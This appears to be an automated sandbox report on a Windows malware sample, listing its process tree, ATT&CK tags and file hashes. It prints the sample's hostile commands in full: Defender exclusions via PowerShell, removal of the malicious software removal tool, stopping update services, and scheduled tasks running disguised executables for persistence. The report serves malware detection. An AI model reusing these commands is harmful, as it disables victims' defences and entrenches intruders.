C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4268.2.1075878459\1326575024" -childID 1 -isForBrowser -prefsHandle 2964 -prefMapHandle 3540 -prefsLen 20823 -prefMapSize 233496 -jsInitHandle 1332 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7679f6fa-45d0-4339-b188-79c8cf0e59c9} 4268 "\\.\pipe\gecko-crash-server-pipe.4268" 3152 206119fca58 tab3⤵PID:8
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4268.3.1940112221\902150095" -childID 2 -isForBrowser -prefsHandle 3836 -prefMapHandle 3832 -prefsLen 26066 -prefMapSize 233496 -jsInitHandle 1332 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5c1c562e-f461-4331-b3a7-d480d1e2e943} 4268 "\\.\pipe\gecko-crash-server-pipe.4268" 3844 206134aaf58 tab3⤵PID:1692
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4268.4.1115757093\497432735" -childID 3 -isForBrowser -prefsHandle 4912 -prefMapHandle 4920 -prefsLen 26285 -prefMapSize 233496 -jsInitHandle 1332 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {269148dc-4305-42f3-b305-76b55e46c6f1} 4268 "\\.\pipe\gecko-crash-server-pipe.4268" 4992 2061661bf58 tab3⤵PID:4756
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4268.5.1559667400\1707733680" -childID 4 -isForBrowser -prefsHandle 5328 -prefMapHandle 5332 -prefsLen 26285 -prefMapSize 233496 -jsInitHandle 1332 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fa7df36d-1d32-42e4-ac37-31473f42836f} 4268 "\\.\pipe\gecko-crash-server-pipe.4268" 5300 206168ebe58 tab3⤵PID:3508
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4268.6.715371386\213171305" -childID 5 -isForBrowser -prefsHandle 5284 -prefMapHandle 4924 -prefsLen 26285 -prefMapSize 233496 -jsInitHandle 1332 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b764b285-87ce-4b61-a5a9-e2bfa26029af} 4268 "\\.\pipe\gecko-crash-server-pipe.4268" 4920 206168ec158 tab3⤵PID:4708
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4268.7.858547374\233792665" -childID 6 -isForBrowser -prefsHandle 5628 -prefMapHandle 5632 -prefsLen 26285 -prefMapSize 233496 -jsInitHandle 1332 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d8f6974b-e28b-4a23-b3bb-93e35e795609} 4268 "\\.\pipe\gecko-crash-server-pipe.4268" 5616 206168ec758 tab3⤵PID:776
-
-
-
C:\ProgramData\VC_redist.x64.exeC:\ProgramData\VC_redist.x64.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
PID:4484 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:844 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:716
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵PID:4428
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵PID:2092
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:4808
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:4380
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2220
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:1036
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:640
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵PID:4028
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵PID:2096
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵PID:3640
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵PID:3424
-
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:4644
-
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 12 /tr "'C:\Windows\Media\Afternoon\fontdrvhost.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1412
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Windows\Media\Afternoon\fontdrvhost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3232
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 13 /tr "'C:\Windows\Media\Afternoon\fontdrvhost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3980
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "servicess" /sc MINUTE /mo 7 /tr "'C:\Program Files\Internet Explorer\services.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2208
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\Program Files\Internet Explorer\services.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3836
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "servicess" /sc MINUTE /mo 5 /tr "'C:\Program Files\Internet Explorer\services.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4932
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "firefoxf" /sc MINUTE /mo 6 /tr "'C:\Users\Public\Desktop\firefox.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4028
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "firefox" /sc ONLOGON /tr "'C:\Users\Public\Desktop\firefox.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4304
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "firefoxf" /sc MINUTE /mo 5 /tr "'C:\Users\Public\Desktop\firefox.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4340
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 12 /tr "'C:\odt\RuntimeBroker.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5072
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\odt\RuntimeBroker.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4708
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 9 /tr "'C:\odt\RuntimeBroker.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4604
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 5 /tr "'C:\Recovery\WindowsRE\StartMenuExperienceHost.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3076
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\StartMenuExperienceHost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1848
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\StartMenuExperienceHost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3396
-
C:\Windows\system32\BackgroundTaskHost.exe"C:\Windows\system32\BackgroundTaskHost.exe" -ServerName:BackgroundTaskHost.WebAccountProvider1⤵PID:3920
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{7966B4D8-4FDC-4126-A10B-39A3209AD251}1⤵PID:1756
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4296 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0x120,0x124,0x128,0xfc,0x12c,0x7ffa0ecc9758,0x7ffa0ecc9768,0x7ffa0ecc97782⤵PID:4180
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1836 --field-trial-handle=1848,i,16525021712940523077,10343656069928446333,131072 /prefetch:22⤵PID:4716
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1848,i,16525021712940523077,10343656069928446333,131072 /prefetch:82⤵PID:4648
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2280 --field-trial-handle=1848,i,16525021712940523077,10343656069928446333,131072 /prefetch:82⤵PID:2104
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3220 --field-trial-handle=1848,i,16525021712940523077,10343656069928446333,131072 /prefetch:12⤵PID:3148
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3352 --field-trial-handle=1848,i,16525021712940523077,10343656069928446333,131072 /prefetch:12⤵PID:2616
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4436 --field-trial-handle=1848,i,16525021712940523077,10343656069928446333,131072 /prefetch:12⤵PID:1036
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4744 --field-trial-handle=1848,i,16525021712940523077,10343656069928446333,131072 /prefetch:82⤵PID:4712
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4772 --field-trial-handle=1848,i,16525021712940523077,10343656069928446333,131072 /prefetch:82⤵PID:1436
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5372 --field-trial-handle=1848,i,16525021712940523077,10343656069928446333,131072 /prefetch:82⤵PID:2444
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5396 --field-trial-handle=1848,i,16525021712940523077,10343656069928446333,131072 /prefetch:82⤵PID:4944
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --mojo-platform-channel-handle=5444 --field-trial-handle=1848,i,16525021712940523077,10343656069928446333,131072 /prefetch:12⤵PID:2248
-
-
C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"1⤵PID:1080
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of SendNotifyMessage
PID:2976 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa0ecc9758,0x7ffa0ecc9768,0x7ffa0ecc97782⤵PID:2684
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1772 --field-trial-handle=1832,i,14731552824526578563,7329469353196276082,131072 /prefetch:22⤵PID:4164
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=1832,i,14731552824526578563,7329469353196276082,131072 /prefetch:82⤵PID:1436
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2240 --field-trial-handle=1832,i,14731552824526578563,7329469353196276082,131072 /prefetch:82⤵PID:2140
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3024 --field-trial-handle=1832,i,14731552824526578563,7329469353196276082,131072 /prefetch:12⤵PID:1076
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3044 --field-trial-handle=1832,i,14731552824526578563,7329469353196276082,131072 /prefetch:12⤵PID:1520
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4692 --field-trial-handle=1832,i,14731552824526578563,7329469353196276082,131072 /prefetch:12⤵PID:2428
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4820 --field-trial-handle=1832,i,14731552824526578563,7329469353196276082,131072 /prefetch:82⤵PID:832
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4984 --field-trial-handle=1832,i,14731552824526578563,7329469353196276082,131072 /prefetch:82⤵PID:1352
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4904 --field-trial-handle=1832,i,14731552824526578563,7329469353196276082,131072 /prefetch:82⤵PID:1272
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5368 --field-trial-handle=1832,i,14731552824526578563,7329469353196276082,131072 /prefetch:82⤵PID:4448
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --mojo-platform-channel-handle=5472 --field-trial-handle=1832,i,14731552824526578563,7329469353196276082,131072 /prefetch:12⤵PID:1904
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3032 --field-trial-handle=1832,i,14731552824526578563,7329469353196276082,131072 /prefetch:82⤵PID:1296
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --mojo-platform-channel-handle=3344 --field-trial-handle=1832,i,14731552824526578563,7329469353196276082,131072 /prefetch:12⤵PID:2872
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --mojo-platform-channel-handle=1696 --field-trial-handle=1832,i,14731552824526578563,7329469353196276082,131072 /prefetch:12⤵PID:1928
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --mojo-platform-channel-handle=5728 --field-trial-handle=1832,i,14731552824526578563,7329469353196276082,131072 /prefetch:12⤵PID:4840
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --mojo-platform-channel-handle=4792 --field-trial-handle=1832,i,14731552824526578563,7329469353196276082,131072 /prefetch:12⤵PID:1296
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3996 --field-trial-handle=1832,i,14731552824526578563,7329469353196276082,131072 /prefetch:82⤵PID:4760
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5428 --field-trial-handle=1832,i,14731552824526578563,7329469353196276082,131072 /prefetch:82⤵PID:3256
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=3984 --field-trial-handle=1832,i,14731552824526578563,7329469353196276082,131072 /prefetch:22⤵PID:4504
-
-
C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"1⤵PID:972
-
C:\Program Files\Internet Explorer\services.exe"C:\Program Files\Internet Explorer\services.exe"1⤵
- Executes dropped EXE
PID:4428
-
C:\Users\Public\Desktop\firefox.exeC:\Users\Public\Desktop\firefox.exe1⤵
- Executes dropped EXE
PID:1340
-
C:\odt\RuntimeBroker.exeC:\odt\RuntimeBroker.exe1⤵
- Executes dropped EXE
PID:2256
-
C:\Program Files\Internet Explorer\services.exe"C:\Program Files\Internet Explorer\services.exe"1⤵
- Executes dropped EXE
PID:1412
-
C:\Users\Public\Desktop\firefox.exeC:\Users\Public\Desktop\firefox.exe1⤵
- Executes dropped EXE
PID:1408
-
C:\Recovery\WindowsRE\StartMenuExperienceHost.exeC:\Recovery\WindowsRE\StartMenuExperienceHost.exe1⤵
- Executes dropped EXE
PID:4720
Network
MITRE ATT&CK Enterprise v15
Persistence
Create or Modify System Process
2Windows Service
2Scheduled Task/Job
1Privilege Escalation
Create or Modify System Process
2Windows Service
2Scheduled Task/Job
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
452KB
MD5c4d09d3b3516550ad2ded3b09e28c10c
SHA17a5e77bb9ba74cf57cb1d119325b0b7f64199824
SHA25666433a06884f28fdabb85a73c682d1587767e1dfa116907559ec00ed8d0919d3
SHA5122e7800aae592d38c4a6c854b11d0883de70f938b29d78e257ab47a8a2bbf09121145d0a9aea9b56c16e18cde31b693d31d7ebfcd0473b7c15df5d7ae6708bbd2
-
Filesize
1KB
MD543b37d0f48bad1537a4de59ffda50ffe
SHA148ca09a0ed8533bf462a56c43b8db6e7b6c6ffa8
SHA256fc258dfb3e49be04041ac24540ef544192c2e57300186f777f301d586f900288
SHA512cfb1d98328aed36d2fe9df008a95c489192f01d4bb20de329e69e0386129aff4634e6fd63a8d49e14fc96da75c9b5ed3a218425846907d0122267d50fc8d7a82
-
Filesize
162KB
MD533d7a84f8ef67fd005f37142232ae97e
SHA11f560717d8038221c9b161716affb7cd6b14056e
SHA256a1be60039f125080560edf1eebee5b6d9e2d6039f5f5ac478e6273e05edadb4b
SHA512c059db769b9d8a9f1726709c9ad71e565b8081a879b55d0f906d6927409166e1d5716c784146feba41114a2cf44ee90cf2e0891831245752238f20c41590b3f5
-
Filesize
1KB
MD5250e75ba9aac6e2e9349bdebc5ef104e
SHA17efdaef5ec1752e7e29d8cc4641615d14ac1855f
SHA2567d50c4fdcf6d8716c7d0d39517d479b3eeee02d2020ed635327405ae49c42516
SHA5127f0d7d41c9eafcd65daa674b5182cf52e11aa0f6d6baaee74fe4c4ffc08a163277c4981cd123af0cb1857ae6fd223b5e8c676d9dc5c646a870fbd9bc4001c438
-
Filesize
165KB
MD581a45f1a91448313b76d2e6d5308aa7a
SHA10d615343d5de03da03bce52e11b233093b404083
SHA256fb0d02ea26bb1e5df5a07147931caf1ae3d7d1d9b4d83f168b678e7f3a1c0ecd
SHA512675662f84dfcbf33311f5830db70bff50b6e8a34a4a926de6369c446ea2b1cf8a63e9c94e5a5c2e1d226248f0361a1698448f82118ac4de5a92b64d8fdf8815d
-
Filesize
18KB
MD5785045f8b25cd2e937ddc6b09debe01a
SHA1029c678674f482ababe8bbfdb93152392457109d
SHA25637073e42ffa0322500f90cd7e3c8d02c4cdd695d31c77e81560abec20bfb68ba
SHA51240bbeb41816146c7172aa3cf27dace538908b7955171968e1cddcd84403b2588e0d8437a3596c2714ccdf4476eefa3d4e61d90ea118982b729f50b03df1104a9
-
Filesize
40B
MD5b605879e08d2c37a89e0a7cf9cebb008
SHA1547075286a6e5e6a304912cef29adf2a5379458d
SHA2562a7688cdba662e4017878b44e559b7bf4889f2b32ff1c6ed70e020a2738e662a
SHA512f18fb8e2df93b18cb2359c651e1dbbaf73225ff16912cec7dda24ef3e82d921690aa0690ca493375536159d8aa9ab660e45e2abe4cdbeaaa368f6f69bc090fe0
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\217bf8dd-fad5-48cf-866c-c9856c7673f8.tmp
Filesize8KB
MD552b67dbf78ace44f3c693c97d530bad4
SHA16990881a29c6aaa6a389aafe0a45c215a5fb4fbe
SHA256170eb75915e15d74c9958d56217335c68e56607903a5e2b18bef3d02132eb0a6
SHA512e18690663ea1491e97976cd387827391e803f631c3245f9677cbb412b3487a6ccbe8b511ad3191d0fa86e5dfd52f81bd2cf9ce6a0f217a8b80f522643a7a98f5
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\228c6fd1-ce4c-4299-bfbd-a3615f70b1d8.tmp
Filesize1B
MD55058f1af8388633f609cadb75a75dc9d
SHA13a52ce780950d4d969792a2559cd519d7ee8c727
SHA256cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
SHA5120b61241d7c17bcbb1baee7094d14b7c451efecc7ffcbd92598a0f13d313cc9ebc2a07e61f007baf58fbf94ff9a8695bdd5cae7ce03bbf1e94e93613a00f25f21
-
Filesize
67KB
MD5520b71d5c5119b5f443a628ed0ef4a20
SHA1d7a497675efb2a2322d8c74d81b368ecf9b803ae
SHA256819b9183939febe99986e661207ea0d7c4f39bf0b33c6834ec374ac638ea2f76
SHA51210e5b5ece9b4c306ddb578b76a827a011a51dc830bd03b8f0b80f9b86ba0ea396669b77dd52552f4eee5de7b7668ec85b2424cde11f1d040e9c940278db5ceae
-
Filesize
323KB
MD51df631f74a31512b20a46bccd4c388c5
SHA181cff9da38f3c8270f5c010b106ff8db7643d48d
SHA25649368fc87f7973b2aae38440be8d67421cdcca3a9dbd79c80a73fddf8a41750a
SHA512ee7728c1befab47c887c495cb72c2cd0f2edd43e6177ef9aa1fa17428eaf656c7651b96ecd3f6f78125b40aa38a9825008c31bbe52571d08e211b0bf37b231e4
-
Filesize
135KB
